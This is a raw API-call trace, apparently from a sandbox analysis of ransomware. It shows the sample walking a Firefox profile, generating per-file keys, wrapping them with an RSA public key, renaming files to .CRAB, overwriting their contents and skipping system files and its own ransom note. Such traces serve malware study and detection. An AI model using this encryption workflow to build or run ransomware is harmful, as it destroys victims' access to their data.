	[0123.582] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.582] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.CRAB"
	[0123.582] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.CRAB.CRAB"
	[0123.582] CryptAcquireContextW (in: phProv=0x31472f0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31472f0*=0xd6e408) returned 1
	[0123.582] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.583] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.583] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.583] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314742c | out: pbBuffer=0x314742c) returned 1
	[0123.583] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.583] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.583] CryptAcquireContextW (in: phProv=0x31472f0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31472f0*=0xd6e9e0) returned 1
	[0123.584] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.584] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.584] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.584] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3147408 | out: pbBuffer=0x3147408) returned 1
	[0123.584] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0123.584] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.585] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0123.585] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0123.585] CryptAcquireContextW (in: phProv=0x31472e0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31472e0*=0xd6e5a0) returned 1
	[0123.585] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31472dc | out: phKey=0x31472dc*=0x3166fe0) returned 1
	[0123.586] CryptGetKeyParam (in: hKey=0x3166fe0, dwParam=0x8, pbData=0x31472cc, pdwDataLen=0x31472d4, dwFlags=0x0 | out: pbData=0x31472cc*=0x800, pdwDataLen=0x31472d4*=0x4) returned 1
	[0123.586] CryptEncrypt (in: hKey=0x3166fe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314743c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314743c*=0x100) returned 1
	[0123.586] GetLastError () returned 0x0
	[0123.586] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0123.586] CryptAcquireContextW (in: phProv=0x31472e0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31472e0*=0xd6e9e0) returned 1
	[0123.586] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31472dc | out: phKey=0x31472dc*=0x3166be0) returned 1
	[0123.586] CryptGetKeyParam (in: hKey=0x3166be0, dwParam=0x8, pbData=0x31472cc, pdwDataLen=0x31472d4, dwFlags=0x0 | out: pbData=0x31472cc*=0x800, pdwDataLen=0x31472d4*=0x4) returned 1
	[0123.586] CryptEncrypt (in: hKey=0x3166be0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3147440*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3147440*=0x100) returned 1
	[0123.586] GetLastError () returned 0x0
	[0123.586] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0123.586] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x404
	[0123.587] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0123.587] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0123.587] ReadFile (in: hFile=0x404, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147484, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x3147484*=0xc000, lpOverlapped=0x0) returned 1
	[0123.611] VirtualAlloc (lpAddress=0x0, dwSize=0xc000, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0123.612] VirtualAlloc (lpAddress=0x0, dwSize=0xc000, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0123.613] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.614] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xffff4000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.614] WriteFile (in: hFile=0x404, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0xc000, lpNumberOfBytesWritten=0x3147474, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147474*=0xc000, lpOverlapped=0x0) returned 1
	[0123.614] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.614] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.618] WriteFile (in: hFile=0x404, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147474, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x3147474*=0x100, lpOverlapped=0x0) returned 1
	[0123.618] WriteFile (in: hFile=0x404, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147474, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3147474*=0x100, lpOverlapped=0x0) returned 1
	[0123.619] WriteFile (in: hFile=0x404, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147474, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x3147474*=0x8, lpOverlapped=0x0) returned 1
	[0123.619] CloseHandle (hObject=0x404) returned 1
	[0123.619] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.619] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.619] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.619] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.620] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.620] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.620] FindNextFileW (in: hFindFile=0x3166b60, lpFindFileData=0x3147cd0 | out: lpFindFileData=0x3147cd0) returned 1
	[0123.620] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0123.620] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0123.620] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\CRAB-DECRYPT.txt"
	[0123.620] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.620] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\CRAB-DECRYPT.txt") returned 138
	[0123.621] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\CRAB-DECRYPT.txt") returned 138
	[0123.621] lstrlenW (lpString=".txt") returned 4
	[0123.621] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.621] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0123.621] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.621] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\CRAB-DECRYPT.txt") returned 138
	[0123.621] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\CRAB-DECRYPT.txt") returned 138
	[0123.621] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0123.621] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0123.621] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0123.621] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0123.621] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0123.621] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0123.621] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0123.621] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0123.621] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0123.621] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.622] FindNextFileW (in: hFindFile=0x3166b60, lpFindFileData=0x3147cd0 | out: lpFindFileData=0x3147cd0) returned 0
	[0123.622] FindClose (in: hFindFile=0x3166b60 | out: hFindFile=0x3166b60) returned 1
	[0123.622] FindNextFileW (in: hFindFile=0x3166aa0, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 0
	[0123.622] FindClose (in: hFindFile=0x3166aa0 | out: hFindFile=0x3166aa0) returned 1
	[0123.622] FindNextFileW (in: hFindFile=0x3166ca0, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0
	[0123.622] FindClose (in: hFindFile=0x3166ca0 | out: hFindFile=0x3166ca0) returned 1
	[0123.622] FindNextFileW (in: hFindFile=0x3166a60, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0
	[0123.622] FindClose (in: hFindFile=0x3166a60 | out: hFindFile=0x3166a60) returned 1
	[0123.622] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0123.622] lstrcmpW (lpString1="storage.sqlite", lpString2=".") returned 1
	[0123.622] lstrcmpW (lpString1="storage.sqlite", lpString2="..") returned 1
	[0123.622] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="storage.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite"
	[0123.622] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.623] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite") returned 94
	[0123.623] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite") returned 94
	[0123.623] lstrlenW (lpString=".sqlite") returned 7
	[0123.623] VirtualAlloc (lpAddress=0x0, dwSize=0x12, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.623] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".sqlite ") returned 8
	[0123.623] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.623] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite") returned 94
	[0123.623] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite") returned 94
	[0123.623] lstrcmpiW (lpString1="storage.sqlite", lpString2="desktop.ini") returned 1
	[0123.623] lstrcmpiW (lpString1="storage.sqlite", lpString2="autorun.inf") returned 1
	[0123.623] lstrcmpiW (lpString1="storage.sqlite", lpString2="ntuser.dat") returned 1
	[0123.623] lstrcmpiW (lpString1="storage.sqlite", lpString2="iconcache.db") returned 1
	[0123.623] lstrcmpiW (lpString1="storage.sqlite", lpString2="bootsect.bak") returned 1
	[0123.623] lstrcmpiW (lpString1="storage.sqlite", lpString2="boot.ini") returned 1
	[0123.623] lstrcmpiW (lpString1="storage.sqlite", lpString2="ntuser.dat.log") returned 1
	[0123.623] lstrcmpiW (lpString1="storage.sqlite", lpString2="thumbs.db") returned -1
	[0123.623] lstrcmpiW (lpString1="storage.sqlite", lpString2="CRAB-DECRYPT.txt") returned 1
	[0123.623] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.624] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite.CRAB") returned 99
	[0123.624] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage.sqlite")) returned 0x20
	[0123.624] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite", dwFileAttributes=0x20) returned 1
	[0123.624] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage.sqlite.crab")) returned 1
	[0123.625] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.625] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite.CRAB"
	[0123.625] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite.CRAB.CRAB"
	[0123.625] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0123.626] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.626] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.626] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.627] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0123.627] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.627] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.627] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0123.627] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.628] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.628] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.628] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0123.628] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.628] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.628] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0123.628] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0123.629] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0123.629] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3166a60) returned 1
	[0123.629] CryptGetKeyParam (in: hKey=0x3166a60, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0123.629] CryptEncrypt (in: hKey=0x3166a60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0123.629] GetLastError () returned 0x0
	[0123.629] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.630] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0123.630] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3166c20) returned 1
	[0123.630] CryptGetKeyParam (in: hKey=0x3166c20, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0123.630] CryptEncrypt (in: hKey=0x3166c20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0123.630] GetLastError () returned 0x0
	[0123.630] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.630] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage.sqlite.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0123.631] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0123.631] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0123.631] ReadFile (in: hFile=0x3e0, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x3149f24*=0x200, lpOverlapped=0x0) returned 1
	[0123.644] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0123.645] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0123.645] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.645] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffe00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.645] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x200, lpOverlapped=0x0) returned 1
	[0123.645] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.646] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.649] WriteFile (in: hFile=0x3e0, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0123.664] WriteFile (in: hFile=0x3e0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0123.664] WriteFile (in: hFile=0x3e0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0123.664] CloseHandle (hObject=0x3e0) returned 1
	[0123.664] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.665] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.665] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.665] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.665] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.665] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.666] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0123.666] lstrcmpW (lpString1="times.json", lpString2=".") returned 1
	[0123.666] lstrcmpW (lpString1="times.json", lpString2="..") returned 1
	[0123.666] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="times.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json"
	[0123.666] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.666] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json") returned 90
	[0123.666] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json") returned 90
	[0123.666] lstrlenW (lpString=".json") returned 5
	[0123.666] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.666] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".json ") returned 6
	[0123.666] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.667] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json") returned 90
	[0123.667] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\times.json") returned 90
